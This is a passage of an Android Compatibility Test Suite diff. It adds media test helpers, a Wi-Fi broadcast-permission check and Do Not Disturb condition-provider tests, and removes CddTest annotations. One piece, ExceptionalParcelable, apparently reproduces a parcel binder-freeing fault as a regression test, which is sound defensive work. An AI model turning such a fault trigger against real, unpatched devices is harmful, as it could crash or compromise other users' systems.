+                                    .setDataSource(new FileDescriptor())
+                                    .build())
+                    .build());
+        }
+        return list;
+    }
+
+    /**
+     * Create a media item with the metadata for testing purpose.
+     *
+     * @return the newly created media item
+     * @see #createMetadata()
+     */
+    public static MediaItem2 createMediaItemWithMetadata() {
+        return new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+                .setMetadata(createMetadata()).build();
+    }
+
+    /**
+     * Create a media metadata for testing purpose.
+     * <p>
+     * Caller's method name will be used for the media id.
+     *
+     * @return the newly created media item
+     */
+    public static MediaMetadata2 createMetadata() {
+        String mediaId = Thread.currentThread().getStackTrace()[1].getMethodName();
+        return new MediaMetadata2.Builder()
+                .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId).build();
+    }
+
+    /**
+     * Handler that always waits until the Runnable finishes.
+     */
+    public static class SyncHandler extends Handler {
+        public SyncHandler(Looper looper) {
+            super(looper);
+        }
+
+        public void postAndSync(Runnable runnable) throws InterruptedException {
+            if (getLooper() == Looper.myLooper()) {
+                runnable.run();
+            } else {
+                final CountDownLatch latch = new CountDownLatch(1);
+                post(()->{
+                    runnable.run();
+                    latch.countDown();
+                });
+                assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+    }
+
     public static class Monitor {
         private int mNumSignal;
 
diff --git a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
index ff022fc..7d31dc3 100644
--- a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
@@ -21,14 +21,10 @@
 import android.hardware.HardwareBuffer;
 import android.test.AndroidTestCase;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * Checks whether layered buffers are supported when VR feature is present.
  */
 public class HardwareBufferVrTest extends AndroidTestCase {
-
-    @CddTest(requirement="7.9.2/C-1-10")
     public void testLayeredBuffersForVr() throws AssertionError {
         boolean mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
             & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index 0e5b1dd..df28c7b 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
index 7b8cadb..b0a838c 100644
--- a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
+++ b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
@@ -24,8 +24,6 @@
 import android.nfc.NdefRecord;
 import android.nfc.FormatException;
 
-import com.android.compatibility.common.util.CddTest;
-
 import junit.framework.TestCase;
 
 /**
@@ -34,7 +32,6 @@
  * hardware is required, so these API's are mandatory even on Android
  * devices without NFC hardware.
  */
-@CddTest(requirement="7.4.4/C-0-1")
 public class NdefTest extends TestCase {
     static final Charset ASCII = Charset.forName("US-ASCII");
     static final Charset UTF8 = Charset.forName("UTF-8");
@@ -89,7 +86,6 @@
                 new byte[] {1,2,3}, new byte[] {4,5,6}, new byte[] {7,8,9})).hashCode());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testInvalidParsing() throws FormatException {
         final byte[][] invalidNdefMessages = {
             {},                                    // too short
@@ -119,7 +115,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testValidParsing() throws FormatException {
         // short record
         assertEquals(new NdefMessage(new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null)),
@@ -312,7 +307,6 @@
                 (byte) 0x6f, (byte) 0x6d}));
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateUri() {
         assertEquals(new byte[] {
                 (byte)0xD1, 1, 8, 'U', (byte)0x01, 'n', 'f', 'c', '.', 'c', 'o', 'm'},
@@ -333,7 +327,6 @@
                 new NdefMessage(NdefRecord.createUri("\u00A2")).toByteArray());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateMime() {
         assertEquals(
                 new NdefRecord(NdefRecord.TNF_MIME_MEDIA, "text/plain".getBytes(ASCII), null,
@@ -392,7 +385,6 @@
                 NdefRecord.createExternal("A.b", "C!", null));
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateApplicationRecord() throws FormatException {
         NdefMessage m;
         NdefRecord r;
@@ -439,7 +431,6 @@
         assertEquals("com.foo.bar".getBytes(), r.getPayload());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testToByteArray() throws FormatException {
         NdefRecord r;
 
@@ -489,7 +480,6 @@
                 1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,})).toByteArray());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testToUri() {
         // absolute uri
         assertEquals(Uri.parse("http://www.android.com"),
@@ -526,7 +516,6 @@
         assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toUri());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testToMimeType() {
         assertEquals(null, NdefRecord.createUri("http://www.android.com").toMimeType());
         assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toMimeType());
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 2ed0124..94a0e78 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -456,12 +456,33 @@
             assertFalse(existSSID(SSID1));
             assertTrue(existSSID(SSID2));
 
+            // Need an effectively-final holder because we need to modify inner Intent in callback.
+            class IntentHolder {
+                Intent intent;
+            }
+            IntentHolder intentHolder = new IntentHolder();
+            mContext.registerReceiver(new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    Log.i(TAG, "Received CONFIGURED_NETWORKS_CHANGED_ACTION broadcast: " + intent);
+                    intentHolder.intent = intent;
+                }
+            }, new IntentFilter(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION));
+
             // Remove a WifiConfig
             assertTrue(mWifiManager.removeNetwork(netId));
             assertFalse(mWifiManager.removeNetwork(notExist));
             assertFalse(existSSID(SSID1));
             assertFalse(existSSID(SSID2));
 
+            // wait 10 seconds to ensure that broadcast wasn't received
+            Thread.sleep(DURATION);
+            Intent intent = intentHolder.intent;
+            // Broadcast shouldn't be received because although CtsNetTestCases has
+            // ACCESS_WIFI_STATE permission, it doesn't have ACCESS_FINE_LOCATION permission.
+            // Receivers need both permissions to get the broadcast.
+            assertNull("Unexpected received CONFIGURED_NETWORKS_CHANGED_ACTION broadcast!", intent);
+
             assertTrue(mWifiManager.saveConfiguration());
         } finally {
             reEnableNetworks(enabledSsids, mWifiManager.getConfiguredNetworks());
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index 634910e..f928c3e 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -17,6 +17,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.app.notification.legacy.cts">
+    <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
 
     <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24" />
     <application>
@@ -30,6 +31,24 @@
                 <action android:name="android.service.notification.NotificationListenerService" />
             </intent-filter>
         </service>
+
+        <service android:name="android.app.notification.legacy.cts.LegacyConditionProviderService"
+                 android:exported="true"
+                 android:label="Legacy"
+                 android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.ConditionProviderService" />
+            </intent-filter>
+        </service>
+
+        <service android:name="android.app.notification.legacy.cts.SecondaryConditionProviderService"
+                 android:exported="true"
+                 android:label="Secondary"
+                 android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.ConditionProviderService" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
new file mode 100644
index 0000000..2e54d92
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_ALARMS;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_NONE;
+import static android.service.notification.NotificationListenerService.INTERRUPTION_FILTER_PRIORITY;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+
+import android.app.ActivityManager;
+import android.app.AutomaticZenRule;
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.util.ArraySet;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@RunWith(AndroidJUnit4.class)
+public class ConditionProviderServiceTest {
+    private static String TAG = "CpsTest";
+
+    private NotificationManager mNm;
+    private ActivityManager mActivityManager;
+    private Context mContext;
+    private ArraySet<String> ids = new ArraySet<>();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        toggleNotificationPolicyAccess(mContext.getPackageName(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        LegacyConditionProviderService.requestRebind(LegacyConditionProviderService.getId());
+        SecondaryConditionProviderService.requestRebind(SecondaryConditionProviderService.getId());
+        mNm = (NotificationManager) mContext.getSystemService(
+                Context.NOTIFICATION_SERVICE);
+        mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        try {
+            for (String id : ids) {
+                if (id != null) {
+                    if (!mNm.removeAutomaticZenRule(id)) {
+                        throw new Exception("Could not remove rule " + id);
+                    }
+
+                    assertNull(mNm.getAutomaticZenRule(id));
+                }
+            }
+        } finally {
+            toggleNotificationPolicyAccess(mContext.getPackageName(),
+                    InstrumentationRegistry.getInstrumentation(), false);
+            pollForConnection(LegacyConditionProviderService.class, false);
+            pollForConnection(SecondaryConditionProviderService.class, false);
+        }
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_addsNewRule() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure service get bound
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        final ComponentName cn = SecondaryConditionProviderService.getId();
+
+        // add rule
+        addRule(cn, INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind service
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // add a new rule
+        addRule(cn, INTERRUPTION_FILTER_NONE, true);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_otherConditionChanges() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure both services get bound
+        pollForConnection(LegacyConditionProviderService.class, true);
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        // add rules for both
+        addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+        pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind one of the services
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // trigger a change in the bound service's condition
+        ((LegacyConditionProviderService) LegacyConditionProviderService.getInstance())
+                .toggleDND(false);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_otherProviderRuleChanges() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure both services get bound
+        pollForConnection(LegacyConditionProviderService.class, true);
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        // add rules for both
+        addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+        pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind one of the services
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // trigger a change in the bound service's rule
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, false);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    private void addRule(ComponentName cn, int filter, boolean enabled) {
+        String id = mNm.addAutomaticZenRule(new AutomaticZenRule("name",
+                cn, Uri.EMPTY, filter, enabled));
+        Log.d(TAG, "Created rule with id " + id);
+        ids.add(id);
+    }
+
+    private void toggleNotificationPolicyAccess(String packageName,
+            Instrumentation instrumentation, boolean on) throws IOException {
+
+        String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
+
+        runCommand(command, instrumentation);
+
+        NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+        Assert.assertEquals("Notification Policy Access Grant is " +
+                        nm.isNotificationPolicyAccessGranted() + " not " + on, on,
+                nm.isNotificationPolicyAccessGranted());
+    }
+
+    private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+        UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        // Execute command
+        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            // Wait for the command to finish by reading until EOF
+            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+                byte[] buffer = new byte[4096];
+                while (in.read(buffer) > 0) {}
+            } catch (IOException e) {
+                throw new IOException("Could not read stdout of command: " + command, e);
+            }
+        } finally {
+            uiAutomation.destroy();
+        }
+    }
+
+    private void pollForSubscribe(PollableConditionProviderService service)  throws Exception {
+        int tries = 30;
+        int delayMs = 200;
+
+        while (tries-- > 0 && !service.subscribed) {
+            try {
+                Thread.sleep(delayMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+
+        if (!service.subscribed) {
+            Log.d(TAG, "not subscribed");
+            throw new Exception("Service never got onSubscribe()");
+        }
+    }
+
+    private void pollForConnection(Class<? extends PollableConditionProviderService> service,
+            boolean waitForConnection) throws Exception {
+        int tries = 100;
+        int delayMs = 200;
+
+        PollableConditionProviderService instance =
+                (PollableConditionProviderService) service.getMethod("getInstance").invoke(null);
+
+        while (tries-- > 0 && (waitForConnection ? instance == null : instance != null)) {
+            try {
+                Thread.sleep(delayMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            instance = (PollableConditionProviderService) service.getMethod("getInstance")
+                    .invoke(null);
+        }
+
+        if (waitForConnection && instance == null) {
+            Log.d(TAG, service.getName() + " not bound");
+            throw new Exception("CPS never bound");
+        } else if (!waitForConnection && instance != null) {
+            Log.d(TAG, service.getName() + " still bound");
+            throw new Exception("CPS still bound");
+        } else {
+            Log.d(TAG, service.getName() + " has a correct bind state");
+        }
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
new file mode 100644
index 0000000..72d5d3e
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+import android.service.notification.Condition;
+
+public class LegacyConditionProviderService extends PollableConditionProviderService {
+    private static PollableConditionProviderService sInstance = null;
+
+    public static ComponentName getId() {
+        return new ComponentName(LegacyConditionProviderService.class.getPackage().getName(),
+                LegacyConditionProviderService.class.getName());
+    }
+
+    public static PollableConditionProviderService getInstance() {
+        return sInstance;
+    }
+
+    @Override
+    public void onConnected() {
+        super.onConnected();
+        sInstance = this;
+    }
+
+    @Override
+    public void onDestroy() {
+        sInstance = null;
+        super.onDestroy();
+    }
+
+    public void toggleDND(boolean on) {
+        notifyCondition(
+                new Condition(conditionId, "", on ? Condition.STATE_TRUE : Condition.STATE_FALSE));
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 4b5228e..ec9a520 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -44,6 +44,7 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -77,6 +78,12 @@
         mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
     }
 
+    @After
+    public void tearDown() throws Exception {
+        toggleListenerAccess(MockNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), false);
+    }
+
     @Test
     public void testPrePCannotToggleAlarmsAndMediaTest() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
@@ -168,9 +175,6 @@
 
     @Test
     public void testSuspendPackage() throws Exception {
-        if (mActivityManager.isLowRamDevice()) {
-            return;
-        }
         toggleListenerAccess(MockNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), true);
         Thread.sleep(500); // wait for listener to be allowed
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
new file mode 100644
index 0000000..226c96f
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.net.Uri;
+import android.service.notification.Condition;
+import android.service.notification.ConditionProviderService;
+import android.util.Log;
+
+public abstract class PollableConditionProviderService extends ConditionProviderService {
+    final static String TAG = "CtsCps";
+
+    boolean isConnected;
+    boolean subscribed;
+    Uri conditionId;
+
+    @Override
+    public void onConnected() {
+        Log.d(TAG, getClass().getName() + " Connected");
+        isConnected = true;
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, getClass().getName() + " Destroyed");
+        isConnected = false;
+        super.onDestroy();
+    }
+
+    @Override
+    public void onSubscribe(Uri conditionId) {
+        Log.d(TAG, getClass().getName() + " got subscribe");
+        subscribed = true;
+        this.conditionId = conditionId;
+        notifyCondition(new Condition(conditionId, "", Condition.STATE_TRUE));
+    }
+
+    @Override
+    public void onUnsubscribe(Uri conditionId) {
+        Log.d(TAG, getClass().getName() + " got unsubscribe");
+        subscribed = false;
+        this.conditionId = null;
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
new file mode 100644
index 0000000..2310a30
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+
+public class SecondaryConditionProviderService extends PollableConditionProviderService {
+    private static PollableConditionProviderService sInstance = null;
+
+    public static ComponentName getId() {
+        return new ComponentName(SecondaryConditionProviderService.class.getPackage().getName(),
+                SecondaryConditionProviderService.class.getName());
+    }
+
+    public static PollableConditionProviderService getInstance() {
+        return sInstance;
+    }
+
+    @Override
+    public void onConnected() {
+        super.onConnected();
+        sInstance = this;
+    }
+
+    @Override
+    public void onDestroy() {
+        sInstance = null;
+        super.onDestroy();
+    }
+
+}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index cc14790..89eb444 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -40,7 +40,8 @@
     src/android/os/cts/IEmptyService.aidl \
     src/android/os/cts/ISeccompIsolatedService.aidl \
     src/android/os/cts/ISecondary.aidl \
-    src/android/os/cts/ISharedMemoryService.aidl
+    src/android/os/cts/ISharedMemoryService.aidl \
+    src/android/os/cts/IParcelExceptionService.aidl \
 
 LOCAL_PACKAGE_NAME := CtsOsTestCases
 
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index ef4893e..9407405 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -80,6 +80,14 @@
             android:name="android.os.cts.SharedMemoryService"
             android:process=":sharedmem"
             android:exported="false" />
+        <service
+            android:name="android.os.cts.ParcelExceptionService"
+            android:process=":remote"
+            android:exported="true" />
+        <service
+            android:name="android.os.cts.ParcelTest$ParcelObjectFreeService"
+            android:process=":remote"
+            android:exported="true" />
 
         <service android:name="android.os.cts.LocalService">
             <intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
index 5ee3aeb..7d09693 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,6 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+package android.os.cts;
 
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
-}
+parcelable ExceptionalParcelable;
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java
new file mode 100644
index 0000000..333cf57
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.os.cts;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+
+public class ExceptionalParcelable implements Parcelable {
+    private final IBinder mBinder;
+
+    ExceptionalParcelable(IBinder binder) {
+        mBinder = binder;
+    }
+
+    public int describeContents() {
+        return 0;
+    }
+
+    /**
+     * Write a binder to the Parcel and then throw an exception
+     */
+    public void writeToParcel(Parcel out, int flags) {
+        // Write a binder for the exception to overwrite
+        out.writeStrongBinder(mBinder);
+
+        // Throw an exception
+        throw new IllegalArgumentException("A truly exceptional message");
+    }
+
+    public static final Creator<ExceptionalParcelable> CREATOR =
+            new Creator<ExceptionalParcelable>() {
+                @Override
+                public ExceptionalParcelable createFromParcel(Parcel source) {
+                    return new ExceptionalParcelable(source.readStrongBinder());
+                }
+
+                @Override
+                public ExceptionalParcelable[] newArray(int size) {
+                    return new ExceptionalParcelable[size];
+                }
+            };
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
index 5ee3aeb..ce7af6d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,10 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+package android.os.cts;
+import android.os.cts.ExceptionalParcelable;
 
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
+interface IParcelExceptionService {
+//parcelable android.os.cts.ExceptionalParcelable;
+    ExceptionalParcelable writeBinderThrowException();
 }
diff --git a/tests/tests/os/src/android/os/cts/LocaleListTest.java b/tests/tests/os/src/android/os/cts/LocaleListTest.java
index 93c81f4..5b10a32 100644
